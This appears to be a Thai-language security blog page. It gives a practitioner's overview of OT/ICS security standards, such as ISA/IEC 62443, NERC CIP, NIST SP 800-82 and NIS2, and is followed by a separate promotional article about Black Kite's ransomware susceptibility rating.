OT Security ย่อมาจาก Operational Technology Security หมายถึงความมั่นคงปลอดภัยของระบบควบคุมจัดการโครงสร้างพื้นฐานสำคัญ (ICS/SCADA) เช่น โรงไฟฟ้า โรงงานอุตสาหกรรม ระบบขนส่งสาธารณะหรือระบบน้ำประปาเป็นต้น ตั้งแต่งาน OT Security ชิ้นแรกที่ทำจนถึงงานปัจจุบัน ทั้ง site งานในประเทศไทยและต่างประเทศ ตั้งแต่โรงงานเล็ก ๆ จนถึงหอควบคุมการบิน รวมระยะเวลา 10 ปีแล้ว ผมเห็นความเปลี่ยนแปลงหลายอย่างในวงการ OT Security ที่มีความตื่นตัว และผู้เกี่ยวข้องให้ความสำคัญเพิ่มขึ้น บทความนี้จึงอยากรวบรวมข้อกำหนด กฎหมาย มาตรฐานและแนวทางของ OT Security เพื่อให้ผู้อ่านใช้อ้างอิงได้หากต้องไปทำงานด้าน OT Security อย่างจริงจัง หรือหากต้องการนำบางส่วนของ controls เหล่านี้ไปใช้ในองค์กรก็เป็นเรื่องดีเป็นอย่างยิ่ง
## ตกลงกันก่อน
เนื่องจากระบบ OT มันเป็นคำที่ค่อนข้างกว้างมาก หากไปคุยกับ process engineer (engineer ตาม process network ของ flow งานขององค์กรนั้น) อาจจะเข้าใจคนละความหมาย จึงขออนุญาตใช้คำว่า ICS/SCADA เพื่อเป็นตัวแทนของระบบต่าง ๆ ดังนี้
```text
Supervisory control and data acquisition (SCADA)
Distributed Control System (DCS)
Manufacturing Execution Systems (MES)
Energy Management System (EMS)
Automatic Meter Reading (AMR)
Automatic Metering Infrastructure (AMI)
Building Automation Systems (BMS)
```
สำหรับเนื้อหานั้น ผมจะขอไม่ลงในรายละเอียดมากนัก เนื่องจากผู้อ่านสามารถหาอ่านเองได้ แต่จะอธิบายคร่าว ๆ ว่ามันคืออะไร พร้อมทั้งให้ความเห็นผ่านประสบการณ์ที่เคยเห็นและเคยใช้งานมาก่อนนะครับ
> มาทำความรู้จัก Regulation, Standard, และ Guideline ที่ควรรู้ในวงการ OT Security กันดีกว่า
## ISA/IEC 62443
ต่อยอดจาก ISA99 ที่มีมานานแล้ว ถ้าใครทำงานด้าน ICS/SCADA และต้องยุ่งเกี่ยวกับ Security ต้องรู้จักแน่นอน Standard series นี้พูดถึง cyber security, safety, integrity และ reliability ของ Industrial Automation and Control Systems (IACS) ใช้คำนี้เนื่องจากมีระบุอยู่ในมาตรฐาน มีความครบถ้วน พวกแนวความคิดเรื่อง network design กลุ่ม zone, subzone, และ conduit โดยส่วนตัวผมก็เริ่มเรียนรู้จากเอกสารฉบับนี้ตั้งแต่สมัย ISA99
{width="100%"}
## NERC CIP
Critical Infrastrucfure Protection (CIP) Standards ถูกสร้างขึ้นโดย North American Electric Reliability Corporation (NERC) ถูกบังคับใช้กับบริษัทที่ operate อุปกรณ์ Bulk Electric System (BES) ในโซน North America เช่น US, Canada ใน series นี้มี standard เยอะมาก แต่ที่ใช้หลัก ๆ ในส่วนของ cyber security ก็จะมีประมาณตามตารางนี้
{width="100%"}
NERC มีการ enforcement ที่จริงจัง ปรับเปลี่ยนมาหลาย version แล้ว และถูก apply ใช้กับ critical infrastructure อื่น ๆ อีกด้วยเช่น water หรือ oil/gas ที่ญี่ปุ่นก็มีใช้รวมทั้งประเทศไทยก็มีบางที่ที่ใช้มาตรฐาน NERC CIP เช่นกัน โชคดีว่าปัจจุบันเราสามารถ group asset ให้ apply controls ได้ตาม requirements ที่จำเป็น โดยไม่ต้องบังคับให้ทุก asset สอบผ่านทุก requirement เหมือนแต่ก่อนแล้ว องค์กรที่อยากใช้ต้องมีความพร้อม เพราะมีรายละเอียดค่อนข้างจุกจิกมากกว่า standard อื่น
## NIST SP 800–82r3
ชื่อของเอกสารคือ Guide to Operational Technology (OT) Security เป็นเอกสาร guideline ที่ผมชอบเป็นการส่วนตัว เพราะพูดถึงแง่มุม cyber security ไล่ไปตาม layer ต่าง ๆ, การทำ OT Risk Assessment ซึ่งหาอ่านได้ยาก, topology ของ OT network ถ้าคนที่ไม่เคยทำงานด้านนี้มาก่อนเลยอาจจะไม่เห็นภาพเท่าไร แต่หากมีประสบการณ์การทำ OT Security Assessment หรือ OT Penetration Testing มาก่อน จะรับรู้ได้ทันทีว่าเป็น guideline ที่ทรงคุณค่าฉบับหนึ่ง ใน SP 800–82 จะแบ่ง layer ออกเป็น 5 layers ซึ่งเจ้า layers ใน OT ในแต่ละมาตรฐานมันไม่เหมือนกันนะ อย่าสับสน
{width="100%"}
## NCA OTCC-1:2022
สำนักงานความมั่นคงปลอดภัยไซเบอร์แห่งชาติของซาอุดีอาระเบีย (NCA) ได้พัฒนากฎระเบียบและแนวทางสำหรับความมั่นคงปลอดภัยทางไซเบอร์ของระบบควบคุมอุตสาหกรรม (ICS) เพื่อเสริมสร้างการป้องกันทางไซเบอร์ของประเทศ ชุดมาตรฐานการควบคุม OTCC-1:2022 เป็นกรอบการทำงานประกอบด้วยอุปกรณ์ ระบบ และเครือข่ายทั้งหมดที่ใช้ในการดำเนินงานกับ ICS/SCADA systems ผมชอบดึงมาใช้เนื่องจากมีหัวข้อในการทำ Security Review ที่ชัดเจน ไม่เยอะมากเกินไปเพราะคนทำงานใน Plant ก็เหนื่อยอยู่แล้ว หากเจอ controls จำนวนเยอะ ๆ อีกประเด็นหนึ่งก็คือใน OTCC มี control เรื่อง Penetration Testing ใน OT Network ด้วย ซึ่งเป็นข้อบังคับให้ทำภายใต้ condition ที่ไม่ส่งผลกระทบกับระบบ อาจจะขัดกับความคิดของหลาย ๆ คนที่มีแนวความคิดว่าไม่ต้องทำ Pentest กับระบบ OT แต่ในความเป็นจริงประเทศอื่นก็มีข้อกำหนดว่าต้องมีการทดสอบเจาะระบบบน OT Environment ด้วย
{width="100%"}
## NIST Cybersecurity Framework v2
คงไม่ต้องบรรยายมาก เป็น framework ที่ไว้บริหารจัดการและลดความเสี่ยงกับ cyber seuciry risk แต่หากนำไปใช้ต้องคัดเลือกเฉพาะที่เหมาะสมกับบริบทขององค์กร อย่าไปเหมารวมเอา controls ของ IT มาบังคับใช้บน OT ทันที อาจจะใช้งานไม่ได้ เนื่องจาก priority ของ IT จะเน้น CIA แต่ OT จะเน้น availability และ safety
เป็นหลักครอบคลุมทั้ง human และ environment
{width="100%"}
ใครที่ใช้ NIST CSF อาจจะต้องหาเครื่องมือทำให้ implement ได้ เช่นใช้ [CIS Controls](https://www.cisecurity.org/insights/white-papers/cis-controls-implementation-guide-for-industrial-control-systems){rel=""nofollow""}
## Standards อื่น ๆ ที่ควรรู้ไว้บ้าง
## **TSA Security Directive**
Transportation Security Administration กำหนดมาตรการด้านไซเบอร์เพื่อความปลอดภัยของโครงสร้างพื้นฐานสำคัญด้านการขนส่งของ US ซึ่งทำการ Respond อย่างตื่นตัวและรวดเร็วเป็นพิเศษจึงออกข้อกำหนดเร่งด่วนมาโดยเฉพาะหลังเหตุการ Colonial Pipeline Attacks ภายในระยะเวลา 3 เดือน ขออนุญาตยก Infographics ของ Dragos มาประกอบ
{width="100%"}
เนื่องจากกลุ่ม infrastucture ของระบบท่อส่งมีหลายองค์ประกอบที่ต้องให้ความสำคัญ
{width="100%"}
ไปดูรายละเอียดเพิ่มเติมได้ที่
{rel=""nofollow""}
## **NIS2 Directive (Directive on measures for a high common level of cybersecurity across the Union)**
คือกฎหมายว่าด้วยความมั่นคงปลอดภัยไซเบอร์ระดับสหภาพยุโรป (EU) ที่ครอบคลุมทั้ง IT/OT ในหลาย sector มีจุดประสงค์เพื่อยกระดับความมั่นคงปลอดภัยทางไซเบอร์โดยรวมภายในสหภาพยุโรป
{width="100%"}
## **ISO/IEC 27001**
ส่วนใหญ่องค์กรจะเน้นนำไปปฏิบัติใช้งานใน IT มากกว่า OT ซึ่งแน่นอนว่าทุก ๆ ICS/SCADA environment องค์กรนั้น ๆ จะมีทั้ง IT และ OT network การโจมตีที่เกิดขึ้นอาจมาจากฝั่ง IT ก็เป็นไปได้ มาตรฐาน ISO 27001 จึงยังจำเป็นสำหรับองค์กรที่ interface กับผู้ใช้บริการและต้องการหามาตรฐานมาเพื่อเสริมสร้างภาพลักษณ์ให้กับองค์กรถึงแม้ว่าอาจจะไม่ได้เกี่ยวกับ OT โดยตรงก็ตาม
> สำหรับการทำงาน OT Security เชิงเทคนิค เช่นการทำ Incident Response และ Penetration Testing ผมขอแนะนำว่าทุกคนต้องทำความรู้จักกับ
## MITRE ATT\&CK for ICS Matrix
คือ MITRE ATT\&CK ที่รวบรวม tactics และ techniques การโจมตีระบบ OT โดยเฉพาะ ผมมักชอบใช้ตอนวางแผนการทำ cyber drill/exercise ที่เกี่ยวข้องกับ OT Network
{width="100%"}
## ICS Cyber Kill Chain
เป็นการ develop classical kill chain ของ Lockheed Martin ให้เหมาะกับบริบทของ OT Environment โดยผ่านประสบการณ์ของตัวจริงในวงการโดย Rob Lee ประกอบไปด้วย 2 phase ช่วงที่ทำการโจมตี OT จะอยู่ใน phase ที่ 2
{width="100%"}
เอกสารอีกฉบับที่ค่อนข้างไม่ค่อยเป็นที่รู้จักคือ **Control System Defense: Know the Opponent ของ NSA** ก็มีเนื้อหาคล้าย ๆ ICS Cyber Kill Chain เหมือนกัน published ปี 2022 เนื้อหากระชับ เข้าใจง่ายแต่ไม่มีรูปประกอบเลย ลองไปหาอ่านเพิ่มเติมเอง [ที่นี่](https://media.defense.gov/2022/Sep/22/2003083007/-1/-1/0/CSA_ICS_Know_the_Opponent_.PDF){rel=""nofollow""}
นอกเหนือไปจากนี้ จะมี Standard ขององค์กรนั้น ๆ เช่น Royal Dutch Shell ก็มีมาตรฐานด้าน OT Security ที่บังคับใช้ในองค์กรเอง หากไปทำงานให้ลองถามก่อนว่าองค์กรนั้น ๆ มีข้อกำหนดอะไรบ้าง หรือ Cyber Security Guideline ของ OT Solutions ต้องดูรายละเอียดเพิ่มเติมตาม solution ที่มีการใช้งานบน OT Environment นั้น ๆ เอง
หากมี Standard หรือ Guideline ใหม่ ๆ ที่น่าสนใจจะมา update บนความนี้ในภายหลังนะครับ
# Black Kite กับการประเมินความเสี่ยงจาก Ransomware
Black Kite หนึ่งใน Solution ที่มาแรงในกลุ่ม IT Vendor Risk Management Solutions และเป็น Solution ที่ทาง Incognito Lab เป็น Official Partner
Solution ในกลุ่มนี้ซึ่งถือว่าเป็น Solution ที่มีความจำเป็นมากขึ้นสำหรับความเสี่ยงด้านความปลอดภัยทางไซเบอร์ที่มีความซับซ้อนมากขึ้นทุกวัน
หลักการทำงานของ Black Kite เคยเขียนอธิบายไว้ก่อนหน้านี้
[/blogs/black-kite-1](https://incognitolab.com/blogs/black-kite-1)
[/blogs/black-kite-2](https://incognitolab.com/blogs/black-kite-2)
[/blogs/black-kite-3](https://incognitolab.com/blogs/black-kite-3)
:br
## ประโยชน์และคุณสมบัติเด่นของ Black Kite
### การตรวจสอบภัยคุกคามอย่างต่อเนื่อง (Continuous Monitoring)
ในยุคที่ภัยคุกคามทางไซเบอร์มีการเปลี่ยนแปลงตลอดเวลา การมีเครื่องมือที่สามารถทำการ **Continuous monitoring** อย่าง Black Kite เป็นสิ่งจำเป็นอย่างยิ่ง โซลูชันนี้ช่วยให้องค์กรสามารถติดตามและรับรู้ถึงภัยคุกคามที่เกิดขึ้นกับ Internet Facing Asset ได้อย่างรวดเร็วและต่อเนื่อง
### การให้คะแนนและจัดลำดับด้านความปลอดภัยทางไซเบอร์ (Cybersecurity Rating)
Black Kite มีการ **ให้คะแนน (Rating)** และ **จัดลำดับ (Ranking)** ด้านความปลอดภัยทางไซเบอร์อย่างละเอียด ช่วยให้องค์กรสามารถประเมินสถานะความปลอดภัยของตนเองได้อย่างเป็นระบบและมีข้อมูลในการตัดสินใจที่มีประสิทธิภาพ
### คำแนะนำในการปรับปรุงและแก้ไขปัญหา (Remediation)
นอกจากการตรวจพบปัญหาแล้ว Black Kite ยังให้ **คำแนะนำในการปรับปรุงแก้ไข** ปัญหาด้านความปลอดภัยที่ตรวจพบ ทำให้องค์กรสามารถดำเนินการแก้ไขได้อย่างถูกต้องและทันเวลา
จากข้อมูลของ **Gartner Peer Insights "Voice of the Customer"** ซึ่งเป็นการประเมินจากผู้ใช้งานจริง พบว่า Black Kite ได้คะแนนรีวิวสูงสุดในกลุ่ม IT Vendor Risk Management Solutions ซึ่งแสดงถึงประสิทธิภาพและความน่าเชื่อถือของ Black Kite
{width="100%"}
นอกจาก Feature หลักที่เคยเขียนอธิบายตาม Link ด้านบนอีกหนึ่งในคุณสมบัติที่น่าสนใจของ Black Kite คือ **RSI (Ransomware Susceptibility Index)** ซึ่งคำนวณค่าได้ระหว่าง 0 ถึง 1 หากค่าใกล้ 1 ยิ่งแสดงว่ามีความเสี่ยงที่จะถูกโจมตีด้วย Ransomware สูงขึ้น
จากการศึกษาของ Black Kite พบว่าเป้าหมายของการโจมตีด้วย Ransomware ไม่ได้เกิดขึ้นโดยสุ่ม แต่มีปัจจัยเฉพาะที่ใช้ในการประเมิน ซึ่งความเข้าใจในปัจจัยเหล่านี้ทำให้องค์กรสามารถปรับปรุงมาตรการป้องกันได้อย่างถูกต้องและตรงจุด
{width="100%"}
การคำนวณค่า RSI นี้อาศัยการวิเคราะห์ Ransomware ต่าง ๆ แล้วดูเทคนิคหรือวิธีการที่มักมีการใช้ในการโจมตีแล้วสรุปเป็น Factor ต่าง ๆ เพื่อใช้ในการประเมินว่าองค์กรมีความเสี่ยงมากน้อยแค่ไหนโดยพิจารณาปัจจัยต่างๆ เช่น Credential Leaks หรือข้อมูลจาก Malware Stealer Logs ซึ่งทำให้องค์กรสามารถประเมินและเตรียมพร้อมรับมือกับภัยคุกคามนี้ได้อย่างมีประสิทธิภาพ
{width="100%"}
ตัวอย่าง Ransomware Susceptibility Report สามารถดูได้จาก {rel=""nofollow""}
และสำหรับข้อมูลเพิ่มเติมเกี่ยวกับข่าวสาร Ransomware สามารถติดตามได้ที่